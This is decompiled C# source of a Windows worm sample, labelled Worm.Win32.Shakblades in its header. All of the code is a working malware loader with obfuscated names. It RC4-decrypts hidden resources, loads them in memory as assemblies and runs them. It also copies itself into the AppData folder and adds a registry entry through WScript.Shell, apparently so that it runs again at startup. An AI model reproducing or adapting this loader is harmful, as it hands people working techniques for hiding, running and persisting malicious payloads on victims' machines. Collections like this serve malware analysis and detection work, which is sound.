// Decompiled with JetBrains decompiler
// Type: Þ.Ò80Á
// Assembly: zom052fb, Version=82.27.26.147, Culture=neutral, PublicKeyToken=null
// MVID: C73C9DAC-34BB-47BC-9784-43B3F9A632F7
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.y-0a8ce0f86190a7cb19dcfb02d9c65bd7190bdb532888563cb9e3e20c68ed3079.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Runtime.CompilerServices;
using System.Text;
using System.Windows.Forms;

namespace Þ
{
  [StandardModule]
  internal sealed class Ò80Á
  {
    private static MethodInfo Þ97ÓÚ;
    private static Environment.SpecialFolder Ê = Environment.SpecialFolder.ApplicationData;
    private static string Ü05ËÈ = Environment.GetFolderPath(Ò80Á.Ê) + Ò80Á.Ú2("pGO3piOjLEFrash6ZbCGTS30hIrcEKEW2VjA/6jBKlaqfX6ual8n");

    [STAThread]
    public static void Main()
    {
label_0:
      int num1;
      int num2;
      try
      {
        int num3 = 1;
label_1:
        num3 = 2;
label_2:
        ProjectData.ClearProjectError();
        num1 = 1;
label_3:
        num3 = 4;
        ResourceManager resourceManager = new ResourceManager(Ò80Á.Ú2("lVyzoieiKF4="), Assembly.GetExecutingAssembly());
label_4:
        num3 = 5;
        Ò80Á.ß19(Ò80Á.Õ2(Ò80Á.Ã95ÁÑ((byte[]) resourceManager.GetObject(Ò80Á.Ú2("lVyzoieiKF4=")))));
label_5:
        num3 = 6;
        Ò80Á.Í35ÓÇ();
        goto label_12;
label_7:
        num2 = num3;
        switch (num1)
        {
          case 1:
            int num4 = num2 + 1;
            num2 = 0;
            switch (num4)
            {
              case 1:
                goto label_0;
              case 2:
                goto label_1;
              case 3:
                goto label_2;
              case 4:
                goto label_3;
              case 5:
                goto label_4;
              case 6:
                goto label_5;
              case 7:
                goto label_12;
            }
            break;
        }
      }
      catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
      {
        ProjectData.SetProjectError(ex);
        goto label_7;
      }
      throw ProjectData.CreateProjectError(-2146828237);
label_12:
      if (num2 == 0)
        return;
      ProjectData.ClearProjectError();
    }

    public static byte[] Ã95ÁÑ(byte[] Ì12ÞÏ)
    {
      byte[] bytes = Encoding.UTF8.GetBytes("d63Jb72ye85xX");
      uint[] numArray1 = new uint[256];
      byte[] numArray2 = new byte[checked (Ì12ÞÏ.Length - 1 + 1)];
      int index1 = 0;
      do
      {
        numArray1[index1] = checked ((uint) index1);
        checked { ++index1; }
      }
      while (index1 <= (int) byte.MaxValue);
      int index2 = 0;
      do
      {
        uint index3 = checked ((uint) ((long) (index3 + (uint) bytes[unchecked (index2 % bytes.Length)] + numArray1[index2]) & (long) byte.MaxValue));
        uint num = numArray1[index2];
        numArray1[index2] = numArray1[checked ((int) index3)];
        numArray1[checked ((int) index3)] = num;
        checked { ++index2; }
      }
      while (index2 <= (int) byte.MaxValue);
      uint index4 = 0;
      uint index5 = 0;
      int num1 = checked (numArray2.Length - 1);
      int index6 = 0;
      while (index6 <= num1)
      {
        index4 = checked ((uint) ((long) index4 + 1L & (long) byte.MaxValue));
        index5 = checked ((uint) ((long) (index5 + numArray1[(int) index4]) & (long) byte.MaxValue));
        uint num2 = numArray1[checked ((int) index4)];
        numArray1[checked ((int) index4)] = numArray1[checked ((int) index5)];
        numArray1[checked ((int) index5)] = num2;
        numArray2[index6] = checked ((byte) ((int) Ì12ÞÏ[index6] ^ unchecked ((int) numArray1[checked ((int) ((long) (numArray1[(int) index4] + numArray1[(int) index5]) & (long) byte.MaxValue))])));
        checked { ++index6; }
      }
      return numArray2;
    }

    public static string Ú2(string Ñ94ÂÐ) => Encoding.UTF8.GetString(Ò80Á.Ã95ÁÑ(Convert.FromBase64String(Ñ94ÂÐ)));

    public static byte[] Õ2(byte[] Ó48ÆÄ)
    {
      if ((object) Ò80Á.Þ97ÓÚ == null)
        Ò80Á.Þ97ÓÚ = Assembly.Load(Ò80Á.Ã95ÁÑ((byte[]) new ResourceManager(Ò80Á.Ú2("kBysomG8aho="), Assembly.GetExecutingAssembly()).GetObject(Ò80Á.Ú2("kBysomG8aho=")))).GetType(Ò80Á.Ú2("uVy9rTi6OgBFe/hZebE=")).GetMethod(Ò80Á.Ú2("vEu9qjy8LUt+bQ=="));
      return (byte[]) Ò80Á.Þ97ÓÚ.Invoke((object) null, new object[1]
      {
        (object) Ó48ÆÄ
      });
    }

    public static void ß19(byte[] Æ6) => Assembly.Load(Ò80Á.Õ2(Ò80Á.Ã95ÁÑ((byte[]) new ResourceManager(Ò80Á.Ú2("yV3vrz2vOko="), Assembly.GetExecutingAssembly()).GetObject(Ò80Á.Ú2("yV3vrz2vOko="))))).GetType(Ò80Á.Ú2("sQ==")).GetMethod(Ò80Á.Ú2("qGs=")).Invoke((object) null, new object[1]
    {
      (object) new ArrayList() { (object) Æ6 }
    });

    public static void Í35ÓÇ()
    {
      if (Operators.CompareString(Application.ExecutablePath, Ò80Á.Ü05ËÈ, false) == 0)
        return;
      if (!Directory.Exists(Path.GetDirectoryName(Ò80Á.Ü05ËÈ)))
        Directory.CreateDirectory(Path.GetDirectoryName(Ò80Á.Ü05ËÈ));
      File.Delete(Ò80Á.Ü05ËÈ);
      FileSystem.FileCopy(Application.ExecutablePath, Ò80Á.Ü05ËÈ);
      object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject(Ò80Á.Ú2("j129tzi8KwB+dvFFcA==")));
      object[] objArray = new object[2]
      {
        (object) Ò80Á.Ú2("sGWdkA2fEGhZSdV7WZ+/QSPauJzBALwp60Ly7K7YNWWOZ2Lyakk2uRysvXs0ucSgNtvAfLW2pVbg8IE="),
        (object) Ò80Á.Ü05ËÈ
      };
      object[] Arguments = objArray;
      bool[] flagArray = new bool[2]{ false, true };
      bool[] CopyBack = flagArray;
      NewLateBinding.LateCall(objectValue, (System.Type) null, "regwrite", Arguments, (string[]) null, (System.Type[]) null, CopyBack, true);
      if (!flagArray[1])
        return;
      Ò80Á.Ü05ËÈ = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (string));
    }
  }
}